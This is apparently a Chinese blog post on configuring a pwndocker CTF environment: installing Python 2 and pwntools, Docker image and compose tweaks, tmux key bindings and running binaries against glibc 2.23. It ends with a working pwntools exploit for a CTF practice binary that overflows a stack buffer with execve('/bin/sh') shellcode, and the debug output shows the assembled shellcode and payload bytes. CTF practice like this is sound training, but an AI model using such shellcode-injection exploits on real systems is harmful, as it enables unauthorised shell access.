从零开始配置pwn环境：优化pwndocker配置

1.研究背景

从零开始配置kali2023环境：配置pwn调试环境-CSDN博客

前期安装好pwndocker后发现不好用，所以通过研究修改一些配置后可以满足解题需要

2.遇到的问题并解决

1.docker环境pwndocker里面没有python2环境，pwn的题目解答很多需要python2的环境，需要补充完善

docker环境pwndocker里面安装python2环境

                                                                             ┌──(holyeyes
                                                                             
┌──(holyeyes?kali2023)-[~/Re]
└─$ cd 2 
                                                                             
                         
┌──(holyeyes?kali2023)-[~/Re/2]
└─$ sudo docker exec -it pwn_test /bin/bash
[sudo] password for holyeyes: 
root@446f4b4dbc7d:/ctf/work# ls
2  wdb_2018_2nd_easyfmt
root@446f4b4dbc7d:/ctf/work# python2 get-pip.py

root@446f4b4dbc7d:/ctf/work#  curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--       6 1863k    6  127k    0     0   182k      0  0:00:10 --:--:--  0:00:10  181 90 1863k   90 1694k    0     0   996k      0  0:00:01  0:00:01 --:--:--  996100 1863k  100 1863k    0     0  1026k      0  0:00:01  0:00:01 --:--:-- 1026k
root@446f4b4dbc7d:/ctf/work# ls
2  get-pip.py  wdb_2018_2nd_easyfmt
root@446f4b4dbc7d:/ctf/work# python2 get-pip.pyDEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                            
Looking in indexes: http://pypi.tuna.tsinghua.edu.cn/simple
Collecting pip<21.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/27/79/8a850fe3496446ff0d584327ae44e7500daf6764ca1a382d2d02789accf7/pip-20.3.4-py2.py3-none-any.whl (1.5 MB)
     |████████████████████████████████| 1.5 MB 1.2 MB/s 
Collecting setuptools<45
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/e1/b7/182161210a13158cd3ccc41ee19aadef54496b74f2817cc147006ec932b4/setuptools-44.1.1-py2.py3-none-any.whl (583 kB)
     |████████████████████████████████| 583 kB 37.3 MB/s 
Collecting wheel
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/27/d6/003e593296a85fd6ed616ed962795b2f87709c3eee2bca4f6d0fe55c6d00/wheel-0.37.1-py2.py3-none-any.whl (35 kB)
Installing collected packages: pip, setuptools, wheel
Successfully installed pip-20.3.4 setuptools-44.1.1 wheel-0.37.1
root@446f4b4dbc7d:/ctf/work# sudo apt install python2-pip
bash: sudo: command not found
root@446f4b4dbc7d:/ctf/work# apt install python2-pip
Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package python2-pip
root@446f4b4dbc7d:/ctf/work# apt-get install python-dev
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Note, selecting 'python-dev-is-python2' instead of 'python-dev'
The following additional packages will be installed:
  libpython2-dev libpython2.7 libpython2.7-dev python-is-python2
  python2-dev python2.7-dev
The following NEW packages will be installed:
  libpython2-dev libpython2.7 libpython2.7-dev python-dev-is-python2
  python-is-python2 python2-dev python2.7-dev
0 upgraded, 7 newly installed, 0 to remove and 89 not upgraded.
Need to get 3,809 kB of archives.
After this operation, 17.7 MB of additional disk space will be used.
Do you want to continue? [Y/n] 
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/universe amd64 libpython2.7 amd64 2.7.18-1~20.04.3 [1,037 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/universe amd64 libpython2.7-dev amd64 2.7.18-1~20.04.3 [2,466 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal/universe amd64 libpython2-dev amd64 2.7.17-2ubuntu4 [7,140 B]
Get:4 http://archive.ubuntu.com/ubuntu focal/universe amd64 python-is-python2 all 2.7.17-4 [2,496 B]
Get:5 http://archive.ubuntu.com/ubuntu focal-updates/universe amd64 python2.7-dev amd64 2.7.18-1~20.04.3 [293 kB]
Get:6 http://archive.ubuntu.com/ubuntu focal/universe amd64 python2-dev amd64 2.7.17-2ubuntu4 [1,268 B]
Get:7 http://archive.ubuntu.com/ubuntu focal/universe amd64 python-dev-is-python2 all 2.7.17-4 [1,396 B]
Fetched 3,809 kB in 4s (862 kB/s)           
Selecting previously unselected package libpython2.7:amd64.
(Reading database ... 56821 files and directories currently installed.)
Preparing to unpack .../0-libpython2.7_2.7.18-1~20.04.3_amd64.deb ...
Unpacking libpython2.7:amd64 (2.7.18-1~20.04.3) ...
Selecting previously unselected package libpython2.7-dev:amd64.
Preparing to unpack .../1-libpython2.7-dev_2.7.18-1~20.04.3_amd64.deb ...
Unpacking libpython2.7-dev:amd64 (2.7.18-1~20.04.3) ...
Selecting previously unselected package libpython2-dev:amd64.
Preparing to unpack .../2-libpython2-dev_2.7.17-2ubuntu4_amd64.deb ...
Unpacking libpython2-dev:amd64 (2.7.17-2ubuntu4) ...
Selecting previously unselected package python-is-python2.
Preparing to unpack .../3-python-is-python2_2.7.17-4_all.deb ...
Unpacking python-is-python2 (2.7.17-4) ...
Selecting previously unselected package python2.7-dev.
Preparing to unpack .../4-python2.7-dev_2.7.18-1~20.04.3_amd64.deb ...
Unpacking python2.7-dev (2.7.18-1~20.04.3) ...
Selecting previously unselected package python2-dev.
Preparing to unpack .../5-python2-dev_2.7.17-2ubuntu4_amd64.deb ...
Unpacking python2-dev (2.7.17-2ubuntu4) ...
Selecting previously unselected package python-dev-is-python2.
Preparing to unpack .../6-python-dev-is-python2_2.7.17-4_all.deb ...
Unpacking python-dev-is-python2 (2.7.17-4) ...
Setting up libpython2.7:amd64 (2.7.18-1~20.04.3) ...
Setting up libpython2.7-dev:amd64 (2.7.18-1~20.04.3) ...
Setting up libpython2-dev:amd64 (2.7.17-2ubuntu4) ...
Setting up python-is-python2 (2.7.17-4) ...
Setting up python2.7-dev (2.7.18-1~20.04.3) ...
Setting up python2-dev (2.7.17-2ubuntu4) ...
Setting up python-dev-is-python2 (2.7.17-4) ...
Processing triggers for libc-bin (2.31-0ubuntu9.7) ...
root@446f4b4dbc7d:/ctf/work# pip2 install setuptools
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                            
Looking in indexes: http://pypi.tuna.tsinghua.edu.cn/simple
Requirement already satisfied: setuptools in /usr/local/lib/python2.7/dist-packages (44.1.1)
root@446f4b4dbc7d:/ctf/work# pip2 install pwntools
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                            
Looking in indexes: http://pypi.tuna.tsinghua.edu.cn/simple
Collecting pwntools
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/e6/4a/95e9e203abc5945507caf2a9706a4c0478f9fd9fd5b7001cb68cfe1564e7/pwntools-4.11.1-py2.py3-none-any.whl (11.7 MB)
     |████████████████████████████████| 11.7 MB 897 kB/s 
Collecting psutil>=3.3.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/cd/ee/d946d0b758120e724d9cdd9607c304ff1eedb9380bf60597c295dc7def6b/psutil-5.9.7-cp27-cp27mu-manylinux2010_x86_64.whl (312 kB)
     |████████████████████████████████| 312 kB 37.8 MB/s 
Requirement already satisfied: pip>=6.0.8 in /usr/local/lib/python2.7/dist-packages (from pwntools) (20.3.4)
Collecting python-dateutil
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/36/7a/87837f39d0296e723bb9b62bbb257d0355c7f6128853c78955f57342a56d/python_dateutil-2.8.2-py2.py3-none-any.whl (247 kB)
     |████████████████████████████████| 247 kB 46.5 MB/s 
Collecting sortedcontainers
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl (29 kB)
Collecting mako>=1.0.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/b4/4d/e03d08f16ee10e688bde9016bc80af8b78c7f36a8b37c7194da48f72207e/Mako-1.1.6-py2.py3-none-any.whl (75 kB)
     |████████████████████████████████| 75 kB 3.9 MB/s 
Collecting requests>=2.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/2d/61/08076519c80041bc0ffa1a8af0cbd3bf3e2b62af10435d269a9d0f40564d/requests-2.27.1-py2.py3-none-any.whl (63 kB)
     |████████████████████████████████| 63 kB 3.6 MB/s 
Collecting colored-traceback
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/68/95/d9b20efe099fff830502c6c7b83da4f1cdfd3346922d87da9bca3e63f897/colored_traceback-0.3.0-py2-none-any.whl (6.7 kB)
Collecting paramiko>=1.15.2
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/71/6d/95777fd66507106d2f8f81d005255c237187951644f85a5bd0baeec8a88f/paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
     |████████████████████████████████| 213 kB 32.2 MB/s 
Collecting six>=1.12.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/d9/5a/e7c31adbe875f2abbb91bd84cf2dc52d792b5a01506781dbcf25c91daf11/six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting unicorn>=1.0.2rc1
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/32/3d/93adc91f390ac12a96b4d01270421410f1ed054d22e9f716cb0169ae5634/unicorn-2.0.1.post1-py2.py3-none-manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.1 MB)
     |████████████████████████████████| 16.1 MB 24.7 MB/s 
Collecting ropgadget>=5.3
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/a9/59/997946f620e5f402165d0d2f955356e24499bc4d4d5f93b5c04221022681/ROPGadget-7.4-py2-none-any.whl (32 kB)
Collecting capstone>=3.0.5rc2
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/7a/fe/e6cdc4ad6e0d9603fa662d1ccba6301c0cb762a1c90a42c7146a538c24e9/capstone-5.0.1.tar.gz (2.9 MB)
     |████████████████████████████████| 2.9 MB 23.4 MB/s 
Collecting intervaltree>=3.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz (32 kB)
Collecting pyelftools<0.30,>=0.24; python_version < "3"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/04/7c/867630e6e6293793f838b31034aa1875e1c3bd8c1ec34a0929a2506f350c/pyelftools-0.29-py2.py3-none-any.whl (174 kB)
     |████████████████████████████████| 174 kB 15.3 MB/s 
Collecting pathlib2; python_version < "3.4"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/09/eb/4af4bcd5b8731366b676192675221c5324394a580dfae469d498313b5c4a/pathlib2-2.3.7.post1-py2.py3-none-any.whl (18 kB)
Collecting pysocks
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/a2/4b/52123768624ae28d84c97515dd96c9958888e8c2d8f122074e31e2be878c/PySocks-1.7.1-py27-none-any.whl (16 kB)
Collecting rpyc
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/36/a7/7898de583e17202ce02ac7ecffdbed95c72a6cebe468c1ee6fc94fc20933/rpyc-4.1.5-py2-none-any.whl (68 kB)
     |████████████████████████████████| 68 kB 11.8 MB/s 
Collecting pyserial>=2.7
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl (90 kB)
     |████████████████████████████████| 90 kB 15.6 MB/s 
Collecting packaging
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/3e/89/7ea760b4daa42653ece2380531c90f64788d979110a2ab51049d92f408af/packaging-20.9-py2.py3-none-any.whl (40 kB)
     |████████████████████████████████| 40 kB 8.8 MB/s 
Collecting pygments>=2.0
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/be/39/32da3184734730c0e4d3fa3b2b5872104668ad6dc1b5a73d8e477e5fe967/Pygments-2.5.2-py2.py3-none-any.whl (896 kB)
     |████████████████████████████████| 896 kB 18.5 MB/s 
Collecting MarkupSafe>=0.9.2
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/fb/40/f3adb7cf24a8012813c5edb20329eb22d5d8e2a0ecf73d21d6b85865da11/MarkupSafe-1.1.1-cp27-cp27mu-manylinux1_x86_64.whl (24 kB)
Collecting idna<3,>=2.5; python_version < "3"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/a2/38/928ddce2273eaa564f6f50de919327bf3a00f091b5baba8dfa9460f3a8a8/idna-2.10-py2.py3-none-any.whl (58 kB)
     |████████████████████████████████| 58 kB 11.4 MB/s 
Collecting certifi>=2017.4.17
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/37/45/946c02767aabb873146011e665728b680884cd8fe70dde973c640e45b775/certifi-2021.10.8-py2.py3-none-any.whl (149 kB)
     |████████████████████████████████| 149 kB 45.9 MB/s 
Collecting chardet<5,>=3.0.2; python_version < "3"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/19/c7/fa589626997dd07bd87d9269342ccb74b1720384a4d739a1872bd84fbe68/chardet-4.0.0-py2.py3-none-any.whl (178 kB)
     |████████████████████████████████| 178 kB 46.6 MB/s 
Collecting urllib3<1.27,>=1.21.1
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/b0/53/aa91e163dcfd1e5b82d8a890ecf13314e3e149c05270cc644581f77f17fd/urllib3-1.26.18-py2.py3-none-any.whl (143 kB)
     |████████████████████████████████| 143 kB 28.5 MB/s 
Collecting pynacl>=1.0.1
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/de/63/bb36279da38df643c6df3a8a389f29a6ff4a8854468f4c9b9d925b27d57d/PyNaCl-1.4.0-cp27-cp27mu-manylinux1_x86_64.whl (964 kB)
     |████████████████████████████████| 964 kB 26.7 MB/s 
Collecting bcrypt>=3.1.3
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/ad/36/9a0227d048e98409f012570f7bef8a8c2373b9c9c5dfbf82963cbae05ede/bcrypt-3.1.7-cp27-cp27mu-manylinux1_x86_64.whl (59 kB)
     |████████████████████████████████| 59 kB 8.9 MB/s 
Collecting cryptography>=2.5
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/bf/a0/c630e9e3b7e7ea2492db1ca47ef7f741ef1a09f19c6642ef1a16ce996d9b/cryptography-3.3.2-cp27-cp27mu-manylinux2010_x86_64.whl (2.6 MB)
     |████████████████████████████████| 2.6 MB 22.1 MB/s 
Collecting scandir; python_version < "3.5"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/df/f5/9c052db7bd54d0cbf1bc0bb6554362bba1012d03e5888950a4f5c5dadc4e/scandir-1.10.0.tar.gz (33 kB)
Collecting typing; python_version < "3.5"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/0b/cb/da856e81731833b94da70a08712f658416266a5fb2a9d9e426c8061becef/typing-3.10.0.0-py2-none-any.whl (26 kB)
Collecting plumbum
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/f5/7f/4e93e5e1c13261966ea553cb4368599902e4fbf6f7dcad3ec16695a45718/plumbum-1.7.2-py2.py3-none-any.whl (117 kB)
     |████████████████████████████████| 117 kB 45.5 MB/s 
Collecting pyparsing>=2.0.2
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/8a/bb/488841f56197b13700afd5658fc279a2025a39e22449b7cf29864669b15d/pyparsing-2.4.7-py2.py3-none-any.whl (67 kB)
     |████████████████████████████████| 67 kB 9.4 MB/s 
Collecting cffi>=1.4.1
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/a4/42/54bdf22cf6c8f95113af645d0bd7be7f9358ea5c2d57d634bb11c6b4d0b2/cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl (390 kB)
     |████████████████████████████████| 390 kB 27.5 MB/s 
Collecting enum34; python_version < "3"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/6f/2c/a9386903ece2ea85e9807e0e062174dc26fdce8b05f216d00491be29fad5/enum34-1.1.10-py2-none-any.whl (11 kB)
Collecting ipaddress; python_version < "3"
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/c2/f8/49697181b1651d8347d24c095ce46c7346c37335ddc7d255833e7cde674d/ipaddress-1.0.23-py2.py3-none-any.whl (18 kB)
Collecting pycparser
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/62/d5/5f610ebe421e85889f2e55e33b7f9a6795bd982198517d912eb1c76e1a53/pycparser-2.21-py2.py3-none-any.whl (118 kB)
     |████████████████████████████████| 118 kB 40.4 MB/s 
Building wheels for collected packages: capstone, intervaltree, scandir
  Building wheel for capstone (setup.py) ... done
  Created wheel for capstone: filename=capstone-5.0.1-py2-none-manylinux1_x86_64.whl size=2933815 sha256=17d9f762956464878ba6ba16c0c3cf14d31cd2dda65773daa32340321631014b
  Stored in directory: /root/.cache/pip/wheels/30/d5/0e/284d552f462834b854509c0d15597b69dca3d95f68db330d0f
  Building wheel for intervaltree (setup.py) ... done
  Created wheel for intervaltree: filename=intervaltree-3.1.0-py2.py3-none-any.whl size=26103 sha256=da488f680c7f6b388c2551e34f2167f9f18476387d6b7a3443b97f2a11e84fc3
  Stored in directory: /root/.cache/pip/wheels/c3/b7/91/90ec6643bcb930bfd8079718cfb5763283af00a9726463dd1d
  Building wheel for scandir (setup.py) ... done
  Created wheel for scandir: filename=scandir-1.10.0-cp27-cp27mu-linux_x86_64.whl size=34188 sha256=3d6a2c1d10c9e05c8e2273bb0e7c3843371c8d2582c32211d66f0a2872dcdbe6
  Stored in directory: /root/.cache/pip/wheels/94/dc/52/ea6c1d7960b7267b32bc59b3625afb5840bd86ddbf18d7f1cf
Successfully built capstone intervaltree scandir
Installing collected packages: psutil, six, python-dateutil, sortedcontainers, MarkupSafe, mako, idna, certifi, chardet, urllib3, requests, pygments, colored-traceback, pycparser, cffi, pynacl, bcrypt, enum34, ipaddress, cryptography, paramiko, unicorn, capstone, ropgadget, intervaltree, pyelftools, scandir, typing, pathlib2, pysocks, plumbum, rpyc, pyserial, pyparsing, packaging, pwntools
Successfully installed MarkupSafe-1.1.1 bcrypt-3.1.7 capstone-5.0.1 certifi-2021.10.8 cffi-1.15.1 chardet-4.0.0 colored-traceback-0.3.0 cryptography-3.3.2 enum34-1.1.10 idna-2.10 intervaltree-3.1.0 ipaddress-1.0.23 mako-1.1.6 packaging-20.9 paramiko-2.12.0 pathlib2-2.3.7.post1 plumbum-1.7.2 psutil-5.9.7 pwntools-4.11.1 pycparser-2.21 pyelftools-0.29 pygments-2.5.2 pynacl-1.4.0 pyparsing-2.4.7 pyserial-3.5 pysocks-1.7.1 python-dateutil-2.8.2 requests-2.27.1 ropgadget-7.4 rpyc-4.1.5 scandir-1.10.0 six-1.16.0 sortedcontainers-2.4.0 typing-3.10.0.0 unicorn-2.0.1.post1 urllib3-1.26.18

保存安装好的pwndocker环境为镜像?

┌──(holyeyes?kali2023)-[~]
└─$  sudo docker  ps 
[sudo] password for holyeyes: 
CONTAINER ID   IMAGE                COMMAND           CREATED       STATUS       PORTS                                           NAMES
446f4b4dbc7d   skysider/pwndocker   "/sbin/my_init"   7 hours ago   Up 7 hours   0.0.0.0:23946->23946/tcp, :::23946->23946/tcp   pwn_test
                                                                             
┌──(holyeyes?kali2023)-[~]
└─$ sudo docker commit 446f4b4dbc7d pwn_test:v1

┌──(holyeyes?kali2023)-[~]
└─$ sudo docker image ls                         
REPOSITORY             TAG       IMAGE ID       CREATED        SIZE
pwn_test               v1        202c1a800e25   5 hours ago    5.25GB
skysider/pwndocker     latest    26c0315bd8d9   2 months ago   5GB
keen4n/pwndocker1604   latest    4ff3687f7371   4 years ago    2.52GB

?更新docker-compose.yml

version: '3'
services:
    pwn:
        container_name: pwn_test1604
        image: pwn_test
        security_opt:
            - seccomp:unconfined
        cap_add:
            - SYS_PTRACE
        ports:
            - "23947:23947"
        volumes:
            - /home/holyeyes/Re:/ctf/work

?更新run.sh

docker-compose up -d
docker exec -it pwn_test1604 /bin/bash

──(holyeyes?kali2023)-[~/pwndocker1604]
└─$ sudo ./run.sh
[sudo] password for holyeyes:?
Pulling pwn (pwn_test:)...
ERROR: The image for the service you're trying to recreate has been removed. If you continue, volume data could be lost. Consider backing up your data before continuing.

Continue with the new image? [yN]

但上述实验失败了，只能用其他方法保存环境了

2.tmux环境配置不生效

左右分屏 ctrl+B+%

上下分屏ctrl+B+”

激活鼠标ctrl+B+：set -g mouse on

搞半天都不行，原来是在虚机中ctrl换成alt，即：

左右分屏 alt+B+%

上下分屏alt+B+”

激活鼠标alt+B+：set --g mouse on

3.docker默认的libc环境是20.04，需要换成16.04

from pwn import *

p = process(["/glibc/2.23/64/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"})

参考pwndocker的使用说明https://github.com/skysider/pwndocker

included glibc
Default compiled glibc path is /glibc.

2.19 —— ubuntu 12.04 default libc version
2.23 —— ubuntu 16.04 default libc version
2.24 —— introduce vtable check in file struct
2.27 —— ubuntu 18.04 default glibc version
2.31 —— ubuntu 20.04 default glibc version(built-in)
2.282.30,2.332.36 —— latest libc versions
Q&A
How to run in custom libc version?
cp /glibc/2.27/64/lib/ld-2.27.so /tmp/ld-2.27.so
patchelf --set-interpreter /tmp/ld-2.27.so ./test
LD_PRELOAD=./libc.so.6 ./test
or

from pwn import *
p = process(["/path/to/ld.so", "./test"], env={"LD_PRELOAD":"/path/to/libc.so.6"})

编写了一个pwn脚本进行测试
?

from pwn import *

p = process(["/glibc/2.23/64/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"})

p = process('./wdb_2018_3rd_soEasy')
#p = remote('node5.buuoj.cn',27285)
context.log_level='debug'
context.arch='i386'

p.recvuntil('->')
buf = int(p.recvuntil('\n', drop=True),16)
log.info('buf:'+hex(buf))

p.recvuntil('what do you want to do?')

shellcode = asm(shellcraft.sh())
print len(shellcode)

pl = ''
pl += shellcode
pl += (76-len(pl))*'a'
pl += p32(buf)

p.sendline(pl)

p.interactive()

┌──(holyeyes?kali2023)-[~]
└─$ sudo docker exec -it pwn_test /bin/bash
[sudo] password for holyeyes: 
root@446f4b4dbc7d:/ctf/work# cd 2
root@446f4b4dbc7d:/ctf/work/2# ls
exp.py  get-pip.py  wdb_2018_3rd_soEasy
root@446f4b4dbc7d:/ctf/work/2# python2 exp.py 
[+] Starting local process '/glibc/2.23/64/lib/ld-2.23.so': pid 1051
[+] Starting local process './wdb_2018_3rd_soEasy': pid 1053
[DEBUG] Received 0x38 bytes:
    'Hei,give you a gift->0xffeaf870\n'
    'what do you want to do?\n'
[*] buf:0xffeaf870
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push '/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-sp9wDe/step2 /tmp/pwn-asm-sp9wDe/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-sp9wDe/step3 /tmp/pwn-asm-sp9wDe/step4
44
[DEBUG] Sent 0x51 bytes:
    00000000  6a 68 68 2f  2f 2f 73 68  2f 62 69 6e  89 e3 68 01  │jhh/│//sh│/bin│··h·│
    00000010  01 01 01 81  34 24 72 69  01 01 31 c9  51 6a 04 59  │····│4$ri│··1·│Qj·Y│
    00000020  01 e1 51 89  e1 31 d2 6a  0b 58 cd 80  61 61 61 61  │··Q·│·1·j│·X··│aaaa│
    00000030  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000040  61 61 61 61  61 61 61 61  61 61 61 61  70 f8 ea ff  │aaaa│aaaa│aaaa│p···│
    00000050  0a                                                  │·│
    00000051
[*] Switching to interactive mode

$